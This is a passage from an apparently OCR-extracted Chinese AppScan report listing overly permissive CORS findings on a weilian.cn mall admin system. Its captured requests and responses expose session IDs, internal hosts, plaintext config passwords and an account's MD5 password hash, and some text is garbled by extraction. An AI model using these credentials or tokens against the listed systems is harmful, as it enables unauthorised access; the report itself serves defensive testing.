 "GJ LOGISTICSSTATUS URL": "http:\/\/172.19.6.150:30106\/tools\/declartion\/accept",
"OPG_APPCODE_YN": "SUNEEE78CFCC27",
 "mall goods host": "http:\/\/vr-goods-rest-enterprise.mall.xt.weilian.cn\/",
 "wf attributeOver": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn\/",
 "HG ORDER URL": "http:\/\/172.19.6.150:30106\/tools\/declartion\/accept",
 "getEmployeeList":
"http:\/\/asset.mall.xt.weilian.cn\/base\/EmployeeAPI\/getEmployeeList",
 "wf giftid": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn\/",  
 "empURL": "http:\/\/vr-base-rest-
enterprise.mall.xt.weilian.cn\/base\/base\/EmployeeAPI\/getEmployeeList",
 "wf order": "http:\/\/vr-purchase-rest-enterprise.mall.xt.weilian.cn\/"
 "wf instockid": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn\/",
 "wholesaleUrl": "http:\/\/test.wholesale.scn.weilian.cn\/",
 "HG PAYMENT URL": "http:\/\/172.19.6.150:30106\/tools\/declartion\/accept",
 "SYNC UC MQ PASSWORD": "password",
 "OPG_QUERY_PAY_METHODS_URL": "http:\/\/pay.weilian.cn\/payment\/pay\/getPaymentsType",
 "purchaseUrl": "http:\/\/vr-purchase-rest-enterprise.mall.xt.weilian.cn\/",
 "comURL": "http:\/\/vr-base-rest-
enterprise.mall.xt.weilian.cn\/CompanyAPI\/getCompanyList",
 "baseDvURL": "http:\/\/vr-base-rest-enterprise.mall.xt.weilian.cn\/",
 "GJ ORDER URL": "http:\/\/172.19.6.150:30106\/tools\/declartion\/accept",
 "wf attributeTurndepot": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn\/",
 "dictURL": "http:\/\/vr-base-rest-enterprise.mall.xt.weilian.cn\/ditionary\/List",
 "njxs_mall_confirm_time": "7",
 "purchase web url": "http:\/\/vr-purchase-rest-
enterprise.mall.xt.weilian.cn:81\/purchase\/",
"PC NJXS HLG": "http:\/\/system-rest-
enterprise.mall.xt.weilian.cn\/static\/component pages\/credit.html",
 "reportformUrl": "http:\/\/test.reportform.scn.weilian.cn\/",
 "PC NJXS CJG": "http:\/\/system-rest-
enterprise.mall.xt.weilian.cn\/static\/component_pages\/landscape.html",
 "reportformURL": "http:\/\/test.reportform.scn.weilian.cn\/", "ChinaPayAgent_app_code": "SUNEEE78CFCC27",
 "supplierid": "191620",
 "wf clientfees": "http:\/\test.wholesale.scn.weilian.cn\/\",
 "kitchenUrl": "http:\/\/test.kitchen.scn.weilian.cn\/",
 "clientUrl": "http:\/\/vr-base-rest-
enterprise.mall.xt.weilian.cn\/ClientAPI\/queryClientList",
 "njxs_mall_erp_enterpriseid": "134",
 "njxs_mall_erp_sale_host": "http:\/\/vr-sale-rest-enterprise.mall.xt.weilian.cn\/",
 "yn_mall_cancel_time": "10",
 "workflowUrl": "http:\/\/test.flw.scn.weilian.cn:81\/web-basic\/",
 "iespDepotUrl": "http:\/\/test.depot.scn.weilian.cn\/",
 "print_spFnPayment": "http:\/\/test.finance.scn.weilian.cn\/printdata",
 "APP YINENG FWS": "http:\/\/vr-sale-rest-
enterprise.mall.xt.weilian.cn:81\/sale\/H5\/mobile\/yineng mobile\/fws\/index.html",
 "zysc_approval_process_admin_password": "111111",
 "wf_gather": "http:\/\/test.wholesale.scn.weilian.cn\/",
 "wf wholesale": "http:\/\/test.wholesale.scn.weilian.cn\/",
 "uc host": "http:\/\/uc.weilian.cn\/account auth admin\/",
 "mall reportform host": "http:\/\/test.reportform.scn.weilian.cn\/",
 "wf spFnPayment": "http:\/\/test.finance.scn.weilian.cn\/",
 "iespCargoUrl": "http:\/\/test.cargo.scn.weilian.cn\/",
 "addressURL": "http:\/\/vr-base-rest-
enterprise.mall.xt.weilian.cn\/AddressAPI\/getAddressChildInfo",
 "menuURL": "http:\/\/30.67.51.251:8080\/",
 "SYNC_UC_MQ_CLIENTID": "SUNEEEZYSC",
 "wf price": "http:\/\/vr-purchase-rest-enterprise.mall.xt.weilian.cn\/",
 "yn mall url": "http:\/\/h5config-rest-enterprise.mall.xt.weilian.cn\/",
 "product scf domain": "http:\/\/test.scf.scn.weilian.cn\/",
 "APP NJXS HLG": "http:\/\/vr-sale-rest-
enterprise.mall.xt.weilian.cn:81\/sale\/H5\/mobile\/credit.html",
"OA KFAK": "http:\/\/microservice.weilian.cn\/vr-push\/getMsg",
```

```
"yn_mall_appcode": "XIANGPU",
"vr_purchase": "http:\/\/vr-purchase-rest-enterprise.mall.xt.weilian.cn\/",
"APP_NJXS_MALL": "http:\/\/test.njxs.weilia
...
...
...
```

变体-|3/3

差异: cookie 已从请求除去: 20687a7693972426b8692099c6af15d7

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /user/getModularPrefix HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Cookie: enterpriseLevel=1; enterpriseId=55; enterpriseCode=SUNEEE; account=setest01
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:24:53 GMT
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
 "GJ LOGISTICSSTATUS URL": "http:\/\/172.19.6.150:30106\/tools\/declartion\/accept",
 "OPG_APPCODE_YN": "SUMEEE78CFCC27",
"mall_goods_host": "http:\/\vr-goods-rest-enterprise.mall.xt.weilian.cn\/",
 "wf attributeOver": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn\/",
 "HG ORDER URL": "http:\/\/172.19.6.150:30106\/tools\/declartion\/accept",
 "getEmployeeList":
"http:\/\/asset.mall.xt.weilian.cn\/base\/EmployeeAPI\/qetEmployeeList",
 "wf giftid": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn\/",
 "empURL": "http:\/\/vr-base-rest-
enterprise.mall.xt.weilian.cn\/base\/base\/EmployeeAPI\/getEmployeeList",
 "wf order": "http:\/\/vr-purchase-rest-enterprise.mall.xt.weilian.cn\/"
 "wf instockid": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn\/",
 "wholesaleUrl": "http:\/\/test.wholesale.scn.weilian.cn\/",
 "HG PAYMENT URL": "http:\/\/172.19.6.150:30106\/tools\/declartion\/accept",
 "SYNC UC MQ PASSWORD": "password",
 "OPG QUERY PAY METHODS URL": "http:///pay.weilian.cn//payment//pay//getPaymentsType",
 "purchaseUrl": "http:\/\/\vr-purchase-rest-enterprise.mall.xt.weilian.cn\/\',
 "comURL": "http:\/\/vr-base-rest-
enterprise.mall.xt.weilian.cn\/CompanyAPI\/getCompanyList",
 "baseDvURL": "http:\/\/vr-base-rest-enterprise.mall.xt.weilian.cn\/",
 "GJ ORDER URL": "http:\/\/172.19.6.150:30106\/tools\/declartion\/accept",
 "wf attributeTurndepot": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn//",
 "dictURL": "http:///vr-base-rest-enterprise.mall.xt.weilian.cn\/ditionary\/List",
 "njxs_mall_confirm_time": "7",
 "purchase_web_url": "http:\/\/vr-purchase-rest-
enterprise.mall.xt.weilian.cn:81\/purchase\/",
 "PC NJXS HLG": "http:\/\/system-rest-
enterprise.mall.xt.weilian.cn\/static\/component pages\/credit.html",
  reportformUrl": "http:\/\/test.reportform.scn.weilian.cn\/",
 "PC NJXS CJG": "http:\/\/system-rest-
```

```
enterprise.mall.xt.weilian.cn\/static\/component_pages\/landscape.html",
 "reportformURL": "http:\/\/test.reportform.scn.weilian.cn\/",
 "ChinaPayAgent_app_code": "SUNEEE78CFCC27",
 "supplierid": "191620",
 "wf clientfees": "http:\/\/test.wholesale.scn.weilian.cn\/",
"kitchenUrl": "http:\/\/test.kitchen.scn.weilian.cn\/",
"clientUrl": "http:\/\/vr-base-rest-
enterprise.mall.xt.weilian.cn\/ClientAPI\/queryClientList",
 "njxs_mall_erp_enterpriseid": "134",
 "njxs mall erp sale host": "http:\/\/vr-sale-rest-enterprise.mall.xt.weilian.cn\/",
 "yn_mall_cancel_time": "10",
 "workflowUrl": "http:\/\/test.flw.scn.weilian.cn:81\/web-basic\/",
"iespDepotUrl": "http:///test.depot.scn.weilian.cn\/",
"print_spFnPayment": "http:///test.finance.scn.weilian.cn\/printdata",
 "APP_YINENG_FWS": "http:\/\/vr-sale-rest-
enterprise.mall.xt.weilian.cn:81\/sale\/H5\/mobile\/yineng mobile\/fws\/index.html",
 "zysc_approval_process_admin_password": "111111",
 "wf gather": "http:\/\/test.wholesale.scn.weilian.cn\/",
 "wf wholesale": "http:\/\/test.wholesale.scn.weilian.cn\/",
 "uc host": "http:\/\/uc.weilian.cn\/account auth admin\/",
 "mall reportform host": "http:\/\/test.reportform.scn.weilian.cn\/",
 "wf_spFnPayment": "http:\/\/test.finance.scn.weilian.cn\/",
 "iespCargoUrl": "http:\/\/test.cargo.scn.weilian.cn\/",
"addressURL": "http:\/\vr-base-rest-
enterprise.mall.xt.weilian.cn\/AddressAPI\/getAddressChildInfo",
 "menuURL": "http:\/\/30.67.51.251:8080\/",
 "SYNC UC MQ CLIENTID": "SUNEEEZYSC",
 "wf price": "http:\/\/vr-purchase-rest-enterprise.mall.xt.weilian.cn\/",
 "yn mall url": "http:\/\/h5config-rest-enterprise.mall.xt.weilian.cn\/",
 "product scf domain": "http:\/\/test.scf.scn.weilian.cn\/",
 "APP_NJXS_HLG": "http:\/\vr-sale-rest-
enterprise.mall.xt.weilian.cn:81\/sale\/H5\/mobile\/credit.html",
 "OA_KFAK": "http:\/\/microservice.weilian.cn\/vr-push\/getMsg",
 "yn mall appcode": "XIANGPU",
 "vr purchase": "http:\/\/vr-purchase-rest-enterprise.mall.xt.weilian.cn\/",
 "APP NJXS MALL": "http:\/\/test.njxs.weilian.cn\/static\/NJ\/H5\/index.html",
 "print
. . .
. . .
```

问题 44 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/static/component_pages/personal_settings.html
实体:	personal_settings.html (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /static/component pages/personal settings.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Cookie: enterpriseCode=SUNEEE; account=setest01; sessionId=c5b8689a1098705cd3ffdff0d57563a1;
enterpriseId=55; enterpriseLevel=1
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: text/html, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 7491
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:24:53 GMT
<div class="newpage-con">
   <div class="row block">
       <div class="col-md-2"></div>
       <form action="index.html" method="post" enctype="multipart/form-data" class="col-md-8"
form-horizontal" onsubmit="return false;">
         <fieldset>
         <div class="form-group">
         <label class="col-md-3 control-label">请输入原密码: </label>
         <div class="col-md-7">
         <input type="password" id="init password" name="init password" class="form-control"</pre>
placeholder="请输入原密码..">
         </div>
         </div>
         <div class="form-group">
         <label class="col-md-3 control-label">请输入新密码: </label>
         <div class="col-md-7">
         <input type="password" id="new password 1" name="new password 1" class="form-control"</pre>
placeholder="请输入新密码..">
         </div>
         </div>
         <div class="form-group">
         <label class="col-md-3 control-label">确认新密码: </label>
         <div class="col-md-7">
         <input type="password" id="new password 2" name="new password 2" class="form-control"</pre>
placeholder="确认新密码..">
         </div>
         </div>
         <div class="form-group form-actions">
         <div class="col-md-7 col-md-offset-3">
         <button type="submit" id="update password" class="btn btn-sm btn-primary">修改密码
</button>
         </div>
         </div>
         </fieldset>
        </form>
   </div>
</div>
<div style="width: 100%;">
        <div id="personal-settings-editUserDlg" class="from_table_con">
         <form role="form">
         <input type="hidden" name="userId" id="userId" value=""/>
         账户<label class="required">*</label>
         <input type="text" class="form-control" name="account" id="account" readonly="true"
value=""/>
```

```
姓名<label class="required">*</label>
         <input type="text" class="form-control" name="name" id="name" readonly="true"
value=""/>
        地址
         <input type="text" class="form-control" name="address" id="address" value=""/>
邮箱<label class="required">*</label>
         <input type="text" class="form-control" name="eMail" id="eMail" value="""/>
         手机号码<label class="required">*</label>
         <input type="text" class="form-control" name="telphone" id="telphone" value=""/>
</form>
       </div>
</div>
<div class="form-group form-actions">
   <div class="col-md-7 col-md-offset-3">
      <button type="submit" id="saveBtn" class="btn btn-sm btn-primary">保存</button>
   </div>
</div>
<!--编辑弹窗结束-->
<script>
$(function () {
      initData();
       $("#saveBtn").bind("click",function () {
        saveData();
       //绑定修改密码按钮点击事件
       $("#update_password").bind("click",function () {
        updatePassword();
       //保存修改的密码
       function updatePassword() {
        var originalPassword=$("#init password").val();
        var newPassword1=$("#new password 1").val();
        var newPassword2=$("#new_password_2").val();
         //输入校验
         if(originalPassword==""){
        layer.msg("请输入原密码!");
        return;
        if(newPassword1==""){
        layer.msg("请输入新密码!");
        return;
```

问题 45 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/static/js/getCommonConfig.js
实体:	getCommonConfig.js (Page)
RFM:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /static/js/getCommonConfig.js HTTP/1.1
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
 Chrome/57.0.2987.133 Safari/537.36
 Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
 Cookie: enterpriseCode=SUNEEE; account=setest01; sessionId=c5b8689a1098705cd3ffdff0d57563a1;
enterpriseId=55; enterpriseLevel=1
 Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
Accept: */*
 Accept-Language: en-US, en; q=0.8
 sessionId: c5b8689a1098705cd3ffdff0d57563a1
 HTTP/1.1 200 OK
 Content-Length: 2437
 {\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
 Server: openresty
 Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
 Access-Control-Allow-Origin: *
 X-Hit-Server: nginx-2
 Connection: keep-alive
 Date: Fri, 12 Jan 2018 03:24:53 GMT
 var baseStrUrl;
                       //base URL
                                //供应商的URL
 var supplierURL;
var goodsURL; //商品的
var storageUrl; //仓库
var wholesaleUrl; //批发
var saleUrl; //零售
var kitchenUrl; //后厨URL
 var marketUrl; //促销
 var purchaseUrl; //采购
 var reportformUrl;//报表
 var contractUrl; //合同
 var enterpriseId; //企业
 var uploadUrl; //上传图片url
 var dictionaryUrl;
 var tmsUrl;
 var iespGoodsUrl;
 var iespDeclarationUrl;
 var iespCargoUrl;
 var iespIbaseUrl;
 var iespDepotUrl;
 var iespExpressUrl;
 var iespToolsUrl;
 var baseStrURL;
 var systemUrl;
 var yn mall url;
var product_scf_domain;
```

```
var enterpriseLevel;//企业级别
var enterpriseCode;//企业级别
var xp_url;
var domaindata;
function getModularPrefix(systemhost) {
    $.ajax({
       async: false,
        type: "GET",
        dataType: 'json',
        url: systemhost+"/user/getModularPrefix",
        error: function (data) {
//
                                layer.msg("获取api的url数据失败")
        success: function (data) {
          systemUrl = data.systemUrl;
          baseStrUrl = data.baseUrl;//rest
         baseStrURL = data.baseURL;//tomcat
         supplierURL = data.supplierURL;
          goodsURL = data.goodsURL;
          storageUrl = data.storageUrl;
          wholesaleUrl = data.wholesaleUrl;
          saleUrl = data.saleUrl;
          kitchenUrl = data.kitchenUrl;
          marketUrl = data.marketUrl;
         purchaseUrl = data.purchaseUrl;
          reportformUrl = data.reportformUrl;
          contractUrl = data.contractUrl;
          uploadUrl = data.uploadUrl;
          enterpriseId = data.enterpriseId;
          dictionaryUrl = data.dictionaryUrl;
          tmsUrl = data.tmsUrl;
          iespGoodsUrl = data.iespGoodsUrl;
          iespDeclarationUrl = data.iespDeclarationUrl;
          iespCargoUrl = data.iespCargoUrl;
          iespIbaseUrl = data.iespIbaseUrl;
          iespDepotUrl = data.iespDepotUrl;
          iespExpressUrl = data.iespExpressUrl;
          iespToolsUrl = data.iespToolsUrl;
          yn mall url = data.yn mall url;
          product scf domain=data.product scf domain;
          enterpriseLevel=data.enterpriseLevel;
          enterpriseCode=data.enterpriseCode;
          xp_url=data.xp_url;
          domaindata=data;
   });
}
```

问题 46 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/static/component_pages/dashboard.html
实体:	dashboard.html (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /static/component_pages/dashboard.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Cookie: enterpriseCode=SUNEEE; account=setest01; sessionId=c5b8689a1098705cd3ffdff0d57563a1;
enterpriseId=55; enterpriseLevel=1
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: text/html, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 380
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
x-ua-compatible: IE=edge, chrome=1
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:24:54 GMT
<html>
   <meta charset="utf-8">
    <title>index</title>
    <meta name="renderer" content="webkit">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<body>
<div>
<img src="image/index.png" style="width:100%">
</div>
</body>
</html>
```

问题 47 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	低
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
实体:	index.html (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /static/index.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/
Cookie: enterpriseCode=SUNEEE; account=setest01; sessionId=c5b8689a1098705cd3ffdff0d57563a1;
enterpriseId=55; enterpriseLevel=1
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 18149
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:24:54 GMT
<!DOCTYPE html>
<html class="no-js" lang="en" style="overflow: hidden;">
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
   <title>资源商城管理平台</title>
    <link rel="shortcut icon"</pre>
href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon/favicon.ico">
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/demo/css/styles.css">
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/fixedColumns.bootstrap.min.css">
   <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <link href="http://cdn.bootcss.com/font-awesome/4.7.0/css/font-awesome.min.css"</pre>
rel="stylesheet">
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
<body>
```

```
<div class="loading-animation se-loading"> <div class="bounce1"></div> <div class="bounce2">
</div><div class="bounce3"></div></div>
<div id="page-wrapper">
   <div class="preloader themed-background">
      <h1 class="push-top-bottom text-light text-center"><strong>Pro</strong>UI</h1>
       <div class="inner">
        <h3 class="text-light visible-lt-ie10"><strong>Loading..</strong></h3>
        <div class="preloader-spinner hidden-lt-ie10"></div>
       </div>
   </div>
   <div id="page-container" class="header-fixed-top sidebar-visible-lg sidebar-no-animations">
       <div id="sidebar">
        <!-- Sidebar Content -->
        <div class="sidebar-content">
        <!-- Brand -->
        <div class="account-box">
        <img class="nav-user-photo"</pre>
        src="http://sunui.scn.weilian.cn:12809/se/demo/img/placeholders/avatars/avatar.jpg">
        <span id="userName"></span>
        <input type="hidden" id="userId" value="">
        <span class="arrow bottom"></span>
        </div>
        <nav class="per options">
         <!--个人设置-->
        <!-- You can also add the default color theme
        class="active">
<1i>>
        <a href="javascript:void(0)" class="themed-background-dark-clint themed-border-clint"</pre>
        data-theme="css/themes/suneee.css" data-toggle="tooltip" title="象谱风格"></a>
        <1i>>
        <a href="javascript:void(0)" class="themed-background-dark-night themed-border-night"</pre>
        data-theme="css/themes/night.css" data-toggle="tooltip" title="深邃蓝"></a>
        <a href="javascript:void(0)" class="themed-background-dark-modern themed-border-modern"</pre>
        data-theme="css/themes/modern.css" data-toggle="tooltip" title="墨绿"></a>
        <1i>>
        data-theme="css/themes/autumn.css" data-toggle="tooltip" title="橙色"></a>
        <1i>>
        <a href="javascript:void(0)" class="themed-background-dark-flatie themed-border-flatie"</pre>
        data-theme="css/themes/flatie.css" data-toggl
```

问题 48 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/user/getUserInfo
实体:	getUserInfo (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

变体-|1/2

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /user/getUserInfo HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
{\tt Referer:\ http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html}
Cookie: account=setest01; sessionId=6cecd9abca2a5797bbb71b3bef6db3f8; enterpriseCode=SUNEEE;
enterpriseLevel=1; enterpriseId=55
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:24:54 GMT
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
{
  "data": [
                  "account": "setest01",
                  "employeename": "
                                          采购员",
                  "departmentId": null,
                  "userName": "setest01",
                  "password": "e10adc3949ba59abbe56e057f20f883e",
                  "sex": null,
                  "position": null,
"address": "",
                  "telphone": "13434343401",
                  "valid": 1,
                  "lastLoginTime": null,
                  "lastLoginIp": "127.0.0.1",
                  "memo": "",
                  "deleteFlag": null,
                  "createTime": 1510890382239,
                  "updateTime": 1510890382239,
                  "corpId": null,
```

```
"deptId": null,
                 "operpassword": null,
                 "strmd5": null,
                 "eMail": "",
                 "failureNum": 0,
                 "lastFailureTime": null,
                 "pwUpdateTime": null,
                 "idCard": null,
                 "nick": null,
"accFrom": null,
". " 资源商城测试01",
                 "employeeId": null,
                 "userId": 48467,
                 "employeeid": 2,
                 "enterprisecode": "SUNEEE",
                 "enterpriseid": 55,
                 "photo": null,
                 "subEnterpriseCodeStr": null,
                 "subEnterpriseIdStr": null,
                 "remark1": null,
                 "remark2": null,
                 "remark3": null,
                 "remark4": null,
                 "remark5": null
"returnCode": 1,
"msg": null,
"html": null
```

变体-|2/2

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /user/getUserInfo HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
\texttt{Cookie: account=setest01; sessionId=3c7fe478ac132ab3a1a4fa825b13b246; enterpriseCode=SUNEEE;}
enterpriseLevel=1; enterpriseId=55
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:24:54 GMT
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
 "data": [
                 "account": "setest01",
                 "employeename": "
                                         采购员",
                 "departmentId": null,
```

```
"userName": "setest01",
"password": "e10adc3949ba59abbe56e057f20f883e",
                     "sex": null,
                     "position": null,
"address": "",
                     "telphone": "13434343401",
                     "valid": 1,
                     "lastLoginTime": null,
"lastLoginIp": "127.0.0.1",
                     "memo": "",
                     "deleteFlag": null,
"createTime": 1510890382239,
"updateTime": 1510890382239,
                     "corpId": null,
"deptId": null,
                     "operpassword": null,
                     "strmd5": null,
"eMail": "",
                     "failureNum": 0,
                     "lastFailureTime": null,
                     "pwUpdateTime": null,
                     "idCard": null,
                     "nick": null,
                     "accFrom": null,
"name": " 资源商城测试01",
                     "employeeId": null,
                     "userId": 48467,
                     "employeeid": 2,
                     "enterprisecode": "SUNEEE",
                     "enterpriseid": 55,
                     "photo": null,
                     "subEnterpriseCodeStr": null,
                     "subEnterpriseIdStr": null,
                     "remark1": null,
                     "remark2": null,
                    "remark3": null,
"remark4": null,
                    "remark5": null
"returnCode": 1,
"msg": null,
"html": null
```

问题 49 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/static/js/commons.js
实体:	commons.js (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

